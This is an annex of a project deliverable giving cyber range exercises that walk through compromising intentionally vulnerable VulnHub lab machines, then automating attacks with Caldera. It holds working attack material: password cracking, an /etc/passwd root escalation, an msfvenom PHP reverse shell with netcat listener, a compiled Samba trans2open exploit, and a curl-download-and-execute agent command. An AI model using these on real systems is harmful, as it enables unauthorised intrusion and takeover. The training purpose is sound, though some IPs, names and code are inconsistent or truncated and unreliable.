Even considering limitations and restrictions, results have a decent relevance. Exercises specifically focused on tools included in the CyberKit4SME toolkit are valuable material for project purposes, specifically for dissemination and exploitation. Even more, exercises have a solid and concrete foundation: prior to defining exercises, an extensive evaluation of solutions available on the market was made; the most suitable tools, enabling cyber range, were identified according to specific requirements; a decent documentation, split between separate documents, was produced.

Relevance of Cyber range training course content is linked to its prominence in the project, but also derived by its coherent structure and contents. Within the project it is matching purposes and actions aiming at communication and impact; outside the project a package composed by a solid preparatory analysis, a concrete creation process, and an organized series of exercises is yet valuable.

Relevance, outside the consortium and its specific purposes, can come from flexibility and adaptability of materials that task produced.

Material could be updated later, and it could be improved and widened, including new features added to the tools, in the next releases.

Full expression of relevance will come from the application of these materials for delivering some cyber range or training events. Public or company restricted, online or in person, massive or in small groups, cyber range based on this deliverable will show value of toolkit demonstrating relevance of facilitation materials.
IX. ANNEX A – PRELIMINARY ACTIONS AND EXERCISES

IX.1. Introduction

IX.1.1. Purposes

This document contains exercises and instruction to let consortium partners deliver a cyber range demonstrating CyberKit4SME toolkit’s value and impact.

Main purpose is to demonstrate the impact of tools in protecting SMEs and MEs against threats, attacks and risks rising awareness, knowledge, detection and management capability.

To pursue this goal exercises are oriented to specific modules of CyberKit4SME toolkit. Exercises are sorted and listed in this document by the tools they are related to.

In addition to this, exercises are first divided in two main groups, dealing with:

- Run-time security modules;
- Risk modelling tools.

Exercises are organised to deliver an experience based on best practice and standard of pentesting and vulnerability assessment.

As the attackers follow a specific kill chain to accomplish their goals, so the pentesting and vulnerability assessment do the same. Steps made by potential attackers are the same the pentesters do, trying their best looking for traces and evidence of contact or intrusion.

To introduce exercises, applying the proposed cyber range approach, a series of preliminary actions are taken. These actions let participants in the cyber range to appreciate comparison between threats and risks with and without the introduction of CyberKit4SME toolkit.

IX.1.2. Course content organisation

Exercises are organised depicting a path through topics and themes of exercises, towards exercises.

From paragraph IX.2., assuming the deployment of tools enabling cyber range, some actions are described. Actions needed to let participants understand the malicious behaviour of attacker and, following same steps, legitimate behaviour of professional pentester and vulnerability assessor.

These preliminary actions are introductory tasks to let participants understand risks and threats potentially targeting their companies, SMEs and MEs.

- Information gathering
- Service enumeration
- Penetration test

Following paragraphs are dedicated to tool specific exercises, involving CyberKit4SME tools. In paragraph IX.5. “Run-time security components”, exercises involve:

- SDS
- Keenai

Paragraph IX.6. “Risk modelling tools” includes exercises involving:

- SSM
- HORM
IX.1.3. Assets

All exercises are designed to be run in a specific scenario, deployed thanks to specifically selected enabling tools: VirtualBox and Caldera.

VirtualBox realizes the virtual environment in which all other entities are simulated: servers, clients, network infrastructure and so on. Caldera is used to automate attacks: anyone can use Caldera performing attacks simply through a web interface.

To run an exercises a certain number of assets must be deployed and configured.

Table 5 - Assets available to deploy environment for the exercises

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Kali Linux</td>
<td>Attacker</td>
</tr>
<tr>
<td>Caldera</td>
<td>Attack Simulation Tool</td>
</tr>
<tr>
<td>Sahu</td>
<td>Target 1 (T1)</td>
</tr>
<tr>
<td>Quoaor</td>
<td>Target 2 (T2)</td>
</tr>
<tr>
<td>Kioptrix Level 1</td>
<td>Target 3 (T3)</td>
</tr>
<tr>
<td>Keenai</td>
<td>CyberKit4SME Tool</td>
</tr>
<tr>
<td>SDS</td>
<td>CyberKit4SME Tool</td>
</tr>
</tbody>
</table>

IX.2. Preliminary actions - Information gathering

IX.2.1. Overview

As preliminary action, information gathering is explored. Information gathering as portion of a penetration test focuses on identifying the scope of the penetration test. Attackers use this activity to collect information that will be used in the further phases of the attack.

IX.2.2. IP Address

The specific network IP addresses of machines used in the exercises are:

Table 6 - Network information of machines involved in exercises

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Link</th>
<th>IP</th>
</tr>
</thead>
<tbody>
<tr>
<td>Caldera</td>
<td>Attack Simulation Tool</td>
<td><a href="https://github.com/mitre/caldera">https://github.com/mitre/caldera</a></td>
<td>192.168.56.120</td>
</tr>
<tr>
<td>Sahu</td>
<td>Target 1</td>
<td><a href="https://www.vulnhub.com/entry/sahu-11,421/">https://www.vulnhub.com/entry/sahu-11,421/</a></td>
<td>192.168.56.110</td>
</tr>
<tr>
<td>Quoaor</td>
<td>Target 2</td>
<td><a href="https://www.vulnhub.com/entry/hackfest2016-quoaor,180/">https://www.vulnhub.com/entry/hackfest2016-quoaor,180/</a></td>
<td>192.168.122.110</td>
</tr>
<tr>
<td>Kioptrix Level 1</td>
<td>Target 3</td>
<td><a href="https://www.vulnhub.com/entry/kioptrix-level-1-1,22/">https://www.vulnhub.com/entry/kioptrix-level-1-1,22/</a></td>
<td>192.168.56.102 (DHCP)</td>
</tr>
</tbody>
</table>
IX.3. Preliminary actions - Service enumeration

IX.3.1. Overview

The service enumeration portion of a penetration test focuses on collecting information about what services are alive on a system or systems. This is valuable for an attacker as it provides detailed information on potential attack vectors into a system. Based on the service enumerated attacker can imply important information used to identify vulnerabilities that can be used in the further steps of the attack.

IX.3.2. Services

Understanding what applications are running on the system gives an attacker desired information before performing the actual attack.

<table>
<thead>
<tr>
<th>IP Address</th>
<th>Ports Open</th>
</tr>
</thead>
</table>
| 192.168.56.110 | TCP: 21, 22, 80, 139, 445, 46773  
               | UDP: 137, 138, 631, 1900, 5353   |
| 192.168.56.118 | TCP: 22, 53, 80, 110, 139, 143, 445, 993, 995  
               | UDP: 53, 137, 1027, 5353, 18980, 22124   |
| 192.168.56.102 | TCP: 22, 80, 111, 139, 443, 32768  
               | UDP: 111, 137, 138, 32768         |

IX.4. Preliminary actions - Penetration test

IX.4.1. Overview

The penetration testing portion of security assessment, from defender point of view, focuses heavily on gaining access to the system. The attacker perform the same actions to get access and gain control of target.

IX.4.2. Target 1

**Vulnerability Exploited:** FTP Anonymous Login  
**System Vulnerable:** 192.168.56.110  
**Vulnerability Explanation:** Attackers can use this vulnerability to search information into the Server.  
**Severity:** Medium  
**Proof of Concept:** FTP server is vulnerable to anonymous login.
IX.4.2.a. Target

Sahu is a vulnerable machine:
https://www.vulnhub.com/entry/sahu-11,421/

IX.4.2.b. Ping Sweep

A ping sweep\(^3\) is a basic network scanning technique used to determine Sahu IP address.

\[ \text{nmap -e eth0 -sn 192.168.56.1-254} \]

![Figure 3 - T1: Ping sweep result](image1)

IX.4.2.c. Information Gathering

Nmap is a tool used for network discovery and scanning, so it is possible to see what ports (TCP and UDP) are open on the target system.

\[ \text{nmap -e eth0 -sT -p 1-65535 192.168.56.110} \]

![Figure 4 - T1: Nmap TCP scan](image2)

\[ \text{nmap -e eth0 -sU 192.168.56.110} \]

\(^3\) a ping sweep is a method that can establish a range of IP addresses which map to live hosts.
IX.4.2.d. Enumeration Services

On this target system could be there one or more vulnerable services on each port.

```
nmap -e eth0 -sV -sT -p 192.168.56.110
```

IX.4.2.e. Vulnerability Assessment

There is FTP server running on port 21/tcp with anonymous login

```
nmap -e eth0 -A -p 21 192.168.56.110
```
Deliverable 6.5 SME cyber range training course content

Figure 8 - T1: Nmap performing OS detection and version detection

ftp 192.168.56.110
username: ftp
password:

Figure 9 - T1: Connecting via FTP to target

There is ftp.zip file
ls
Figure 10 - T1: Inspecting file system looking for sensitive data
Download it on Kali Linux local machine
get ftp.zip

![FTP Command Output]

Figure 11 - T1: Downloading file
When try to unzip it, it is necessary a password:
unzip ftp.zip

![Unzip Output]

Figure 12 - T1: Trying to unzip the downloaded file
There is Apache server running on port 80/tcp
http://192.168.56.110:80/

Figure 13 - T1: Webpage available on the server
Analyze HTML:
**Figure 14 - T1:** HTML code snippet of webpage

```
<!DOCTYPE html>
<html>
<head>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
    <h2>Haryana</h2>
    <img src="Haryana-1-1.jpg" style="width:100%;"/>
</body>
</html>
```

Downloading the Haryana .jpg file

**wget** `http://192.168.56.110/Haryana-1-1.jpg`

![Figure 15 - T1: Downloading the .jpg file included in the HTML page](image)

Running **dirb** tool to finds other directory:

**dirb** `http://192.168.56.110:80/`

![dirb output](image)
As a result, we found a directory /H/A/R/, if you remembered that the image on the web-page was of Haryana so we can correctly assume that the full directory will be /H/A/R/Y/A/N/A/ and when opened in the browser you can see the following:

http://192.168.56.110:80/H/A/R/Y/A/N/A

Figure 17 - T1: Exploring directory discovered using Dirb

In the source code, there will be a phrase saying “try to extract with hurry”. Now, this is something useful

Figure 18 - T1: Code snippet of HTML page

Now, we had found an image on a web page (Haryana-1-1.jpg) and we have the hint in the source code (try to extract with hurry). So we will use steghide tool to extract any metadata:

```
steghide extract -sf Haryana-1-1.jpg
```

```
password: hurry
```

Figure 19 - T1: Performing Steghide

After extracting the file we found a new file file.txt. We see author message hint “I have found the password for a zip file but I have forgot(n) the last part of it, can you find out 5AHU** ”.

```
cat file.txt
```

Figure 20 - T1: Message contained in the text file

According to the hint, it means that the first four characters of the password are 5AHU and password is of six characters in length and we must find last two characters in order to get the password. We can easily do this using crunch tool and construct a dictionary to fuzz...
up the password. The last to characters could be of any combination, for example it can be alpha-numeric or special character and so on, therefore, use the following set of command to make a dictionary using a crunch of every possible combination:

@, -> uppercase and lowercase letters
@% -> lowercase letters and number
@^ -> lowercase letters and special characters
, % -> uppercase letters and numbers
%^ -> numbers and special characters
^@ -> special characters and lowercase letters
^% -> special characters and numbers

crunch 6 6 -t 5AHU@, > dictionary_password.txt
crunch 6 6 -t 5AHU@% >> dictionary_password.txt
crunch 6 6 -t 5AHU@^ >> dictionary_password.txt
crunch 6 6 -t 5AHU, % >> dictionary_password.txt
crunch 6 6 -t 5AHU%^ >> dictionary_password.txt
crunch 6 6 -t 5AHU^@ >> dictionary_password.txt
crunch 6 6 -t 5AHU^% >> dictionary_password.txt
Figure 21 - T1: Searching for the password

```
root@kali:/opt# crunch 6 6 -t 5AHU@, > dictionary_password.txt
root@kali:/opt# crunch 6 6 -t 5AHU@^ >> dictionary_password.txt
root@kali:/opt# crunch 6 6 -t 5AHU,Y >> dictionary_password.txt
root@kali:/opt# crunch 6 6 -t 5AHU,% >> dictionary_password.txt
Crunch will now generate the following number of lines: 676
root@kali:/opt# crunch 6 6 -t 5AHU@^ >> dictionary_password.txt
Crunch will now generate the following amount of data: 1820 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 260
root@kali:/opt# crunch 6 6 -t 5AHU,Y >> dictionary_password.txt
Crunch will now generate the following amount of data: 6006 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 858
root@kali:/opt# crunch 6 6 -t 5AHU,% >> dictionary_password.txt
Crunch will now generate the following amount of data: 1820 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 260
root@kali:/opt# crunch 6 6 -t 5AHU@^ >> dictionary_password.txt
Crunch will now generate the following amount of data: 2310 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 330
root@kali:/opt# crunch 6 6 -t 5AHU,Y >> dictionary_password.txt
Crunch will now generate the following amount of data: 6006 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 858
root@kali:/opt# crunch 6 6 -t 5AHU,% >> dictionary_password.txt
Crunch will now generate the following amount of data: 2310 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 330
```
Once our wordlist is created we can start our attack using `fcrackzip` tool:

```
fcrackzip -u -D -p dictionary_password.txt ftp.zip
```

![Figure 22 - T1: Performing the attack using fcrackzip](image)

Now, we can unzip `ftp.zip`

```
unzip ftp.zip
```

Password: 5AHU#5

![Figure 23 - T1: Unzipping the file](image)

```
cat ftp.txt
```

Username: sahu
Password: sahu14216

![Figure 24 - T1: Text file](image)

As from the nmap port scan it was clear that the SMB port (139/tcp) was open. We run the `enum4linux` tool to enumerate the SMB service

```
enum4linux -a 192.168.56.110
```

![Image of enum4linux output](image)
A connection through sambashare can be made using `smbclient` tool

`smbclient //192.168.56.110/sambashare -U suhu`

Password: suhu14216

As the username and password are found in ssh.txt it can safely be assumed that these are the credentials for SSH login

`cat ssh.txt`

Username: haryana
Password: hralltime

**IX.4.2.f. Exploitation**

Let's try to login through SSH

`ssh haryana@192.168.56.110`

Password: hralltime
IX.4.2.g. Privilege Escalation

We found that `/etc/passwd` file is writable which allows us to make a new user and alter its permissions

```
ls -lart /etc/passwd
```

Now we make a new user, generating a new MD5 salted hash

```
openssl passwd -1 -salt userhack pass123
```

Than, we use the `echo` command to add this user into the `/etc/passwd` file

```
echo 'userhack:$1$userhack$mFiYb1UKX5drcserOtWM0:0:0:root:/root:/bin/bash' >> /etc/passwd
```

Now that we have added user, let’s login to that user (`userhack`) using the `su` command. As the user we created had root privileges so we own the root on this machine.

```
su userhack
Password: pass123
```
IX.4.3. Target 2

Vulnerability Exploited: Remote PHP Code Execution

System Vulnerable: 192.168.56.118

Vulnerability Explanation: Attackers can execute arbitrary code on system using wordpress default admin credential.

Severity: Critical

Proof of Concept: msfvenom -p php/reverse_php LHOST=192.168.56.101 LPORT=4444 -f raw

```php
/*<?php /**/
   @error_reporting(0);
   @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);
   $dis=@ini_get('disable_functions');
   if(empty($dis)){
       $dis=preg_replace('/[\, ]+/', ',', $dis);
       $dis=explode(',', $dis);
       $dis=array_map('trim', $dis);
   }else{
       $dis=array();
   }
   $ipaddr='192.168.56.101';
   $port=4444;
   if(function_exists('wPGFJWQoq')){
       function wPGFJWQoq($c){
           global $dis;
           if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
               $c=$c." 2>&1
           }
           $DytgY='is_callable';
           $AeNF='in_array';
           if($DytgY('system')and!$AeNF('system',$dis)){
               ob_start();
           }
       }
       $DytgY='is_callable';
       $AeNF='in_array';
       if($DytgY('system')and!$AeNF('system',$dis)){
       ```
system($c);
$o=ob_get_contents();
ob_end_clean();
}else
if($DytgY('shell_exec')and!$AeNF('shell_exec',$dis)){
  $o=shell_exec($c);
}else
if($DytgY('proc_open')and!$AeNF('proc_open',$dis)){
  $handle=proc_open($c,array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);
  $o=NULL;
  while(!feof($pipes[1])){
    $o.=fread($pipes[1],1024);
  }
  @proc_close($handle);
}else
if($DytgY('passthru')and!$AeNF('passthru',$dis)){
  ob_start();
passthru($c);
  $o=ob_get_contents();
ob_end_clean();
}else
if($DytgY('exec')and!$AeNF('exec',$dis)){
  $o=array();
  exec($c,$o);
  $o=join(chr(10),$o).chr(10);
}else
if($DytgY('popen')and!$AeNF('popen',$dis)){
  $fp=popen($c,'r');
  $o=NULL;
  if(is_resource($fp)){
    while(!feof($fp)){
      $o.=fread($fp,1024);
    }
  }
  @pclose($fp);
}else
{
  $o=0;
}

return $o;
}

$nofuncs='no exec functions';
IX.4.3.a. Target

Quaoar is a vulnerable machine:

https://www.vulnhub.com/entry/hackfest2016-quaoar_180/
IX.4.3.b. Ping Sweep

A ping sweep is a basic network scanning technique used to determine Quaoar IP address.

\texttt{nmap -e eth0 -sn 192.168.56.1-254}

![Figure 35 - T2: Quaoar ping sweep](image)

IX.4.3.c. Information Gathering

Nmap is a tool used for network discovery and scanning, so it is possible to see what ports (TCP and UDP) are open on the target system.

\texttt{nmap -e eth0 -sT -p 1-65535 192.168.56.118}

![Figure 36 - T2: Nmap TCP information gathering](image)

\texttt{nmap -e eth0 -sU 192.168.56.118}

![Nmap UDP output](image)
IX.4.3.d. Enumeration Services

On this target system could be there one or more vulnerable services on each port.

```
nmap -e eth0 -sV -sT -p 192.168.56.118
```

![Figure 37 - T2: Nmap UDP information gathering](image)

```
nmap -e eth0 -sV -sU 192.168.56.118
```

![Figure 38 - T2: Probe open ports to determine service/version info (TCP)](image)

```
nmap -e eth0 -sV -sU 192.168.56.118
```

![Figure 39 - T2: Probe open ports to determine service/version info (UDP)](image)

IX.4.3.e. Vulnerability Assessment

There is Apache server running on port 80/tcp.

Figure 40 - T2: HomePage at Apache server

There are not other html pages, so running *dirb* tool it is possible finds robots.txt file that points to Wordpress installation.

```
dirb http://192.168.56.118:80/
```

Figure 41 - T2: Dirb tool performing file discovery

[Link to robots.txt file](http://192.168.56.118:80/robots.txt)
Using wordpress default admin credential (admin/admin) it is possible to login and loads a reverse php shell.
Under **Appearance -> Editor**

**Figure 45 - T2: Wordpress administration interface**

**Figure 46 - T2: Wordpress file editor**

*archive.php* file in the WordPress theme can be modified to inject PHP code into it.

**IX.4.3.f. Exploitation**

It is possible generates a reverse php shell with msfvenom (the full code is reported in **Proof of Concept**):

```
msfvenom -p php/reverse_php LHOST=192.168.56.101 LPORT=4444 -f raw
```

```
root@kali:~# msfvenom -p php/reverse_php LHOST=192.168.56.101 LPORT=4444 -f raw
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 3017 bytes
```
Figure 47 - T2: A reverse php shell is generated with msfvenom

At this point, it is possible delete archive.php code and insert the payload generated:

Click on Update File to save new php code:

Finally, on Kali Linux, set up a netcat listener on port 4444

```
nc -nlvp 4444
```

Run the payload to gain access to the target system as www-data user:

```
```
IX.4.3.g. Privilege Escalation

In Wordpress directory installation, there is `wp-config.php` configuration file:

```bash
cd /var/www/wordpress
```

In `wp-config.php` configuration file there are MySQL database username and password

```bash
cat wp-config.php
```
It is possible to connect with ssh to the target with this credential:

**ssh root@192.168.56.118**

password: rootpassword!
Figure 54 - T2: Connecting to the target using stolen credential
IX.4.4. Target 3

**Vulnerability Exploited:** FTP

**System Vulnerable:** 192.168.56.102

**Vulnerability Explanation:** Attackers can use this vulnerability to search information into the Server.

**Severity:** Critical

**Proof of Concept:** FTP server is vulnerable to anonymous login.

IX.4.4.a. Target

Kioptrix Level 1 is a vulnerable machine:

https://www.vulnhub.com/entry/kioptrix-level-1-1.22/

IX.4.4.b. Ping Sweep

A ping sweep is a basic network scanning technique used to determine Kioptrix IP address.

nmap -e eth0 -sn 192.168.56.1-254

![Figure 55 - T3: Ping sweep result](image)

IX.4.4.c. Information Gathering

Nmap is a tool used for network discovery and scanning, so it is possible to see what ports (TCP and UDP) are open on the target system.

nmap -e eth0 -ST -p 1-65535 192.168.56.102

![Figure 56 - T3: Nmap TCP scan](image)

nmap -e eth0 -sU 192.168.56.102
IX.4.4.d. Enumeration Services

On this target system could be there one or more vulnerable services on each port.

```
nmap -e eth0 -sV -sT -p 192.168.56.102
```

```
root@kali:~# nmap -e eth0 -sV -sT -p 192.168.56.102
Starting Nmap 7.80 ( https://nmap.org ) at 2022-03-07 04:35 EST
Nmap scan report for 192.168.56.102
Host is up (0.00004s latency).
Not shown: 996 closed ports
PORT  STATE SERVICE VERSION
22/tcp open  ssh  OpenSSH 2.9p2 (protocol 1.99)
80/tcp open  http  Apache/1.3.24 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp open  rpcbind  2 (RPC #10000)
135/tcp open  nmbbios-sen Samba smb (workgroup: MYGROUP)
443/tcp open  https Apache/1.3.24 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
32768/tcp open  status  1 (RPC #100024)
MAC Address: 08:00:27:6F:8A:03 (Oracle VirtualBox virtual NIC)
```

Figure 58 - T3: Probe open ports to determine service/version info (TCP)

```
nmap -e eth0 -sV -sU 192.168.56.102
```

```
root@kali:~# nmap -e eth0 -sV -sU 192.168.56.102
Starting Nmap 7.80 ( https://nmap.org ) at 2022-03-07 04:57 EST
Nmap scan report for 192.168.56.102
Host is up (0.00077s latency).
Not shown: 996 closed ports
PORT  STATE SERVICE VERSION
111/udp open  rpcbind  2 (RPC #10000)
137/udp open  netbios-ns Samba nmbd netbios-ns (workgroup: MYGROUP)
138/udp open|filtered netbios-dgm
32768/udp open|filtered omad
```

Figure 59 - T3: Probe open ports to determine service/version info (UDP)

IX.4.4.e. Vulnerability Assessment

There is Samba service running on port 139/tcp, so we use metasploit `smb_version` module to identify the version:

```
msfconsole
```
Figure 60 - T3: Using metasploit smb_version module to identify service version

```
metasploit v5.0.99-dev
+---[ 2045 exploits - 1106 auxiliary - 344 post ]
+---[ 562 payloads - 45 encoders - 10 nops ]
+---[ 7 evasion ]
Metasploit tip: Tired of setting RHOSTS for modules? Try globally setting it with set RHOSTS x.x.x
```

Figure 61 - T3: Available options for smb_version

```
auxiliary/scanner/smb/smb_version show options
```

```
set RHOSTS 192.168.56.102
```

Figure 62 - T3: Setting target host

```
run
```

Figure 63 - T3: Version identified by metasploit

```
[*] 192.168.56.102:139  - Host could not be identified: Unix [Samba 2.2.1a]
[*] 192.168.56.102:445  - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Now we search if Samba 2.2.1a is vulnerable:

```
searchsploit samba 2.2
```
Figure 64 - T3: Checking if version is vulnerable

We use samba2.2.x/tans2open (unix/remote/22470.c)

```bash
cp /usr/share/exploitdb/exploits/unix/remote/22470.c /opt
cd /opt
gcc 22470.c -o samba_exploit
```

```bash
root@kali:~/# cp /usr/share/exploitdb/exploits/unix/remote/22470.c /opt
root@kali:~/opt# gcc 22470.c -o samba_exploit
```

Figure 65 - T3: Exploiting samba service

IX.4.4.f. Exploitation

Run exploit to gain access to target as root

```
./samba_exploit 0 192.168.56.102 192.168.56.101
```

```bash
root@kali:/opt# ./samba_exploit 0 192.168.56.102 192.168.56.101
[+] Listen on port: 45295
[+] Connecting back to: [192.168.56.101:45295]
[+] Target: Linux
[+] Connected to [192.168.56.102:139]
[+] Please wait in seconds...!
[+] Yeah, I have a root ....!

Linux kioskrix.levell 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 1686 unknown
uid=0(root) gid=0(root) groups=99(nobody)
```

Figure 66 - T3: Gaining access to target as root
IX.4.5. Caldera

Caldera is a cyber security platform designed to easily automate adversary emulation and assist manual red-teams.

It is built on the MITRE ATT&CK framework and is an active research project at MITRE (https://github.com/mitre/caldera).

The framework consists of two components:

1. **The core system**: this is the framework code, consisting of what is available in this repository. Included is an asynchronous command-and-control (C2) server with a REST API and a web interface.

2. **Plugins**: these repositories expand the core framework capabilities and providing additional functionality. Examples include agents, reporting, collections of TTPs and more.

![Caldera architecture example](image)

**Figure 67 - Caldera architecture example**

IX.4.5.a. Login

Start Caldera Server:

```
cd /opt/caldera_3.1.0
python3 server.py --insecure
```

![Caldera: Starting Caldera](image)

**Figure 68 - Caldera: Starting Caldera**

Now, it is possible to install Caldera on Ubuntu and login with **admin/admin** credential:

[http://192.168.56.120:8888/](http://192.168.56.120:8888/)
IX.4.5.b. Agent deploy on Kali Linux

It is possible install an agent on Kali Linux on

navigate -> Campaigns -> agents

Click on Click here to deploy an agent
Figure 71 - Caldera: Deploying an agent on Kali Linux

Select the agent (54ndc47), Kali Linux Operative System, Caldera URL and agent name (splunkd) to obtain the command line string:

```bash
server="http://192.168.56.120:8888";curl -s -X POST -H "file:sandcat.go" -H "platform:linux" $server/file/download > splunkd;chmod +x splunkd;./splunkd -server $server -group red -v
```

Figure 72 - Caldera: Options for agent installation

It is possible run the command on Kali Linux to set up an agent on Kali Linux:

```bash
54ndc47: A GoLang agent which communicates through the HTTP contact (sh)

** Variations of the deployment command will be shown for each supported operating system

app.contact.http http://192.168.56.120:8888
agents.Implant.name splunkd

A GoLang agent which communicates through the HTTP contact (sh)

server="http://192.168.56.120:8888";curl -s -X POST -H "file:sandcat.go" -H "platform:linux" $server/file/download > splunkd;chmod +x splunkd;./splunkd -server $server -group red -v
```

Figure 73 - Caldera: Command to set up agent

And to see agent on Caldera dashboard:
Caldera can use this agent on Kali Linux to automate one or more phases of a Vulnerability Assessment. In this context, Caldera is used to execute simulated attacks just pressing a button in the dashboard.

**IX.4.5.b.1. Port Scanner**

Select Plugin:

**navigate -> access**

Select agent run on Kali Linux and chose tactic **discovery**, technique **T1046 | Network Service Scanning** and ability **Scan IP for ports**
Here you can task any agent with any ability from the database - outside the scope of an operation. This is especially useful for conducting initial access attacks. To do this, deploy an agent locally and task it with either pre-ATT&CK or initial access tactics, pointed at any target. You can even deploy an agent remotely and use it as a proxy to conduct your initial access attacks. To the right, you'll see every ability directly tasked to an agent. Click the ★ to view the output.

```
kal - spyvxp
```

Search for abilities...

discovery

T1046 | Network Service Scanning

Scan IP for ports

Run

**Figure 76 - Caldera: Options to perform port scan**

Than insert target IP (Kioptrix Level 1)

```
python3 scanner.py -l (remote_host.ip)
```

Use plain text obfuscation

remote host ip: 192.168.56.102

**Figure 77 - Caldera: Proper values to target Kioptrix**

Finally see the result by clicking on the star:
IX.4.5.b.2. Enumeration Services
Select agent run on Kali Linux and chose tactic discovery, technique T1046 | Network Service Scanning and ability Fingerprint network services
Access

Here you can task any agent with any ability from the database - outside the scope of an operation. This is especially useful for conducting initial access attacks. To do this, deploy an agent locally and task it with either pre-ATT&CK or initial access tactics, pointed at any target. You can even deploy an agent remotely and use it as a proxy to conduct your initial access attacks. To the right, you'll see every ability directly tasked to an agent. Click the ⭐ to view the output.

kali - wxdwz

Search for abilities...

discovery

T1046 | Network Service Scanning

Fingerprint network services

Run

Figure 80 - Caldera: Using tactics "discovery" for service enumeration

Insert target IP and ports

Figure 81 - Caldera: Proper value to configure service enumeration

Finally see the result by clicking on the star:
IX.4.5.c. Agent deploy on Target

It is possible install an agent on Target 1 (Sahu)

```bash
ssh haryana@192.168.56.110
```

*password: hraltime*

```bash
su userhack
```

*password: pass123*
Figure 84 - Caldera: Information on T1

Click on Click here to deploy an agent

Figure 85 - Caldera: Deploying agent on T1

Select the agent (54ndc47), Sahu Operative System, Caldera URL and agent name (splunkd) to obtain the command line string:

```bash
```

Figure 86 - Caldera: values to obtain the proper command line string

It is possible run the command on Target 1 to set up an agent on Sahu:
And to see agent on Caldera dashboard:

![Figure 87 - Caldera: Command to set up agent on T1](image)

![Figure 88 - Caldera: T1 visible in Caldera dashboard](image)

Now Caldera can use this agent on Sahu to find, for example, user processes and local users, or to make lateral movement to discovery network of server target.

**IX.4.5.c.1. Target Local User**

Select Operation:

navigate -> operations

![Figure 89 - Caldera: accessing "operations" menu](image)

Add a new Operation to gain information from target (Sahu)
Figure 90 - Caldera: Proper values to set up an operation on T1

Click **Start** to run operation “Discovery”
Finally click on yellow star to see the result:

Figure 91 - Caldera: Dashboard showing discovery

Figure 92 - Caldera: Button to access discovery results
IX.4.6. Exercise

Lateral movement from Target 1 (Sahu):

1) New subnet,
2) Servers in new subnet,
3) Services on servers found.

IX.4.6.a. Subnet

Select Plugin:

`navigate -> access`

![Figure 94 - Caldera: Accessing "access" menu](image)

Select agent run on Sahu and chose tactic `discovery`, technique T1016 | System Network Configuration Discovery and ability Network Interface Communication
Figure 95 - Caldera: Values to perform discovery on T1

Finally see the result by clicking on the star:
There are two network cards:

**enp0s3**: 192.168.56.110/24  
**enp0s8**: 192.168.122.110/24

**IX.4.6.b. Servers**

Select Operation:

navigate -> operations
Figure 97 - Caldera: Accessing "operations" menu

Add a new Operation and click on Start
Figure 98 - Caldera: Values to create a new “operation”

Now run a manual command

```
nmap -e enp0s8 -sn 192.168.122.1-254
```

Figure 99 - Caldera: Button to perform manual command

Finally click on yellow star to see the result:

Figure 100 - Caldera: Nmap command to perform scan

![Nmap results](image)

Figure 101 - Caldera: star icon for results button

Figure 102 - Caldera: Nmap results

**IX.4.6.c. Services**

Select Plugin:

navigate -> access
Select agent run on Target 1 and chose tactic **discovery**, technique **T1046 | Network Service Scanning** and ability **Scan IP for ports**
Deliverable 6.5 SME cyber range training course content

Access

Here you can task any agent with any ability from the database - outside the scope of an operation. This is especially useful for conducting initial access attacks. To do this, deploy an agent locally and task it with either pre-ATT&CK or initial access tactics, pointed at any target. You can even deploy an agent remotely and use it as a proxy to conduct your initial access attacks. To the right, you'll see every ability directly tasked to an agent. Click the ★ to view the output.

Figure 104 - Caldera: Values to perform scan IP for ports

Than insert target IP (Quaoar)

Finally see the result by clicking on the star:

Figure 105 - Caldera: How to target T2 "Quaoar" from Caldera

Finally see the result by clicking on the star:
Now, it is possible to enumerate services for Target 2.

Select agent run on Kali Linux and chose tactic **discovery**, technique **T1046 | Network Service Scanning** and ability **Fingerprint network services**
Access

Here you can task any agent with any ability from the database - outside the scope of an operation. This is especially useful for conducting initial access attacks. To do this, deploy an agent locally and task it with either pre-ATT&CK or initial access tactics, pointed at any target. You can even deploy an agent remotely and use it as a proxy to conduct your initial access attacks. To the right, you'll see every ability directly tasked to an agent. Click the ★ to view the output.

- sahu-VirtualBox - Inyyoi
- Search for abilities...
  - discovery
  - T1046 | Network Service Scanning
  - Fingerprint network services

Run

Figure 108 - Caldera: Proper values to perform Network Service Scanning

Insert target IP and ports

Figure 109 - Caldera: Values to perform scan on T2
Finally see the result by clicking on the star button:

```
nmap -SV -p 22,\53,\80 192.168.122.118
```

Starting Nmap 7.80 (https://nmap.org) at 2022-05-16 20:20 IST
Nmap scan report for 192.168.122.118
Host is up (0.00048s latency).

<table>
<thead>
<tr>
<th>PORT</th>
<th>STATE</th>
<th>SERVICE</th>
<th>VERSION</th>
</tr>
</thead>
<tbody>
<tr>
<td>22/tcp open</td>
<td>ssh</td>
<td>OpenSSH 5.8p1 Debian SubuTun1 (Ubuntu Linux; protocol 2.0)</td>
<td></td>
</tr>
<tr>
<td>53/tcp open</td>
<td>domain</td>
<td>ISC BIND 9.8.1-P1</td>
<td></td>
</tr>
<tr>
<td>80/tcp open</td>
<td>http</td>
<td>Apache httpd 2.2.22 ((Ubuntu))</td>
<td></td>
</tr>
</tbody>
</table>

MAC Address: 08:00:27:54:64:BB (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

